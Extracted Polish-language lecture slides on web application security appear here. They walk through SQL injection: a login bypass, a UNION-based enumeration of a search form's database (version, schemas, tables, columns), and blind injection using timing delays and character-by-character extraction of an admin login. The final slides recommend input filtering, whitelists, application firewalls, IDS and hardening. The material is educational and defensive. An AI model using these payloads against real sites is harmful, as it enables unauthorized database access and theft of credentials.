uważad na specjalne znaki (null byte, etc)
filtrowad, filtrowad i jeszcze raz filtrowad
(../, UTF, itd.)
inne: mod_security, Suhosin PHP
B
73.
SQL Injection
Serwer
GET /login.php HTTP/1.1
login=admin&password=1’ or 1=‘1
Aplikacja WWW
Intruz
select * from users where login=‘admin’ and pass=‘1’ or 1=‘1’
Welcome admin
$dane = db_exec(„select from users where
Baza danych login=‘$login’ and pass=‘$pass’”)
if ($dane.count) {
print („Welcome $login”)
…
} else {
print („Bye”);
exit (0);
}
M
76.
priv_search=&cat=1&w_city=Ca%B3a+Polska' and
1=0#&submit=Szukaj
M
77.
priv_search=&cat=1&w_city=Ca%B3a+Polska'
union all select @@version#&submit=Szukaj
The used SELECT statements
have a different number
of columns
M
78.
priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,@@version#&submi
t=Szukaj
M
79.
priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select
1,2,3,4,5,6,7,8,9,10,@@version,12,13,14,15,16,17,18#&submi
t=Szukaj
M
80. priv_search=&cat=1&w_city=Ca%B3a+Polska' union all select
1,2,3,TABLE_SCHEMA,5,6,7,8,9,10,TABLE_NAME,12,COLUMN_
NAME,14,15,16,17,18 from information_schema.columns
where TABLE_SCHEMA != 'mysql' and TABLE_SCHEMA !=
'information_schema'#&submit=Szukaj
M
84.
Blind SQL Injection
Formularz rejestracyjny:
B
‘
85.
Blind SQL Injection
1' and 1='0
OK.
1' or 1='1
Taki email już jest zarejestrowany
w serwisie. Musisz podad inny
1' union all SELECT IF( user() like '%sig%',
BENCHMARK(3000000,MD5( 'x' )),NULL)#
opóźnienie user() == sig@...
1' union all SELECT IF( user() like '%asd%',
BENCHMARK(3000000,MD5( 'x' )),NULL)#
brak opóźnienia
B
88.
Blind SQL Injection
• /zgoda.php?id=155765%20AND%20(select%2
0ascii(substring((select%20login%20from%20a
dmini%20limit%201,1),1,1)))%3D97
• id=155765 AND (select ascii(substring((select
login from admini limit LINIA,1), MIEJSCE, 1)))
=ZNAK_ASCII
B
89.
Wyniki blind SQL Injection
Opóźnienie
Treśd
Komunikat błędu
B
90.
Co na to poradzid?
Filtrowad wprowadzane dane
- Białe listy znaków
- Spójnośd (IDS, Firewall, aplikacja,
baza danych)
Nie ufad filtrom po stronie
użytkownika (listy wyboru, JavaScript)
M
92.
Z bezpieczeostwem WWW jest źle
Błędy są wszędzie* wokół nas
*no prawie wszędzie ;-)
M
93.
Co zrobid?
Koniecznie filtrowad wprowadzane i
wyprowadzane dane
Firewalle aplikacyjne
IDSy
Białe listy!
M
94.
Byd świadomym potencjalnych
zagrożeo i problemów
Słuchad i pytad
Korzystad z pomocy specjalistów
Bilansowad koszty z zyskami
każdy feedback jest dobry
M
95.
Używad sprawdzonych
rozwiązao
• Odpowiedzią na tradycyjne błędy jest kod
zarządzany, automatyczne typowanie, GC, itp.
• Odpowiedzią na błędy w kodowaniu WWW są
frameworki
– Pozwalają na zachowanie pewnej jakości kodu
– Nie jesteśmy w 100% bezpieczni
» Jeszcze nie są wystarczająco dojrzałe
» Nie wszyscy wiedzą jak z nich korzystad
» Bywają rozszerzane "na głupa"
» Efekt skali powoduje, że błędy propagują się szeroko
M
96.
Hardening
Poprawna konfiguracja jest
niezwykle istotna
Jedna dyrektywa w php.ini może zablokowad
wykorzystanie błędu w aplikacji
PHP:
http://www.sans.org/top20/#s1
M
97.
Myślenie
Nikt ani nic nie ustrzeże nas
przed skutkami błędów
logicznych
M